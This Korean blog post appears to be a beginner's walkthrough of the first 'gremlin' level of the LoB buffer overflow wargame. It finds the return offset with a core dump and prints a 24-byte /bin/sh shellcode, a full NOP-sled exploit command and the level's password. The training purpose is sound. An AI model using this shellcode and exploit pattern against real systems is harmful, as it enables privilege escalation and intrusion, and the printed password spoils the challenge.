포너블이라는 것은 너무 어려워서 평생 안하게 될 줄알았는데 공부하다보니 해야 되서 시작 하겟습니다.
LoB의 가장 첫스테이지부터 해야 하겟죠. 시작하기전에 bash2치고서 시작하셔야 됩니다. 꼭이요!
가장 기본적인 문제이군요
strcpy는 아주 취약한 함수이니 착한 개발자들은 쓰지 맙시다.
아래 링크에 잘 설명되어있으니 보시기 바랍니다
우선 버퍼의 크기가 256으로 아주 충분하니 충분히 쉘코드를 넣을 수 있을 것 같습니다.
그러므로 저는 24byte짜리 쉘코드를 사용하도록 하죠.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
현재 디렉토리에는 코어덤프를 뜰 권한이 없으므로 새로 복사해서 쓰도록합시다 @~@
여러가지 풀이가 있지만, 저는 core dump를 이용한 풀이로 풀 것 입니다.
core dump로 풀 것이니 당연히 core dump를 만들어야 되겠지요?
덤프가 나왓다고 하는 군요.
gdb -c core -q를 통해 코어파일을 봅시다.
0x62626262로 점프 되었네요! 그렇다함은 260자를 입력한뒤, 그다음 4자리를 다른 주소로 넣으면 그 주소로 가버린다는 것이죠!
버퍼의 시작은 0xbffffb93이니 중간즈음에 점프 시키면 되겟군요
이제 공격을 할 때에는 a로 채우지 않고 \x90(nop)을 사용할 것입니다.
nop는 아무일도 하지않고 다음 명령어로 넘기는 어셈블리 명령어 입니다. 다른 것들에 대해서는 스스로 공부 하셔야 됩니다. 나중에 반드시 필요해요.
공격 구문을 작성 해 보도록 할까요?
./gremlin `python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`
쉘이 따이고 my-pass를 입력하면...!!!
hello bof world
WRITTEN BY
- Dukup11ch1
무근본, 실력 0, 아는척하기위한 블로그. 저는 귀엽습니다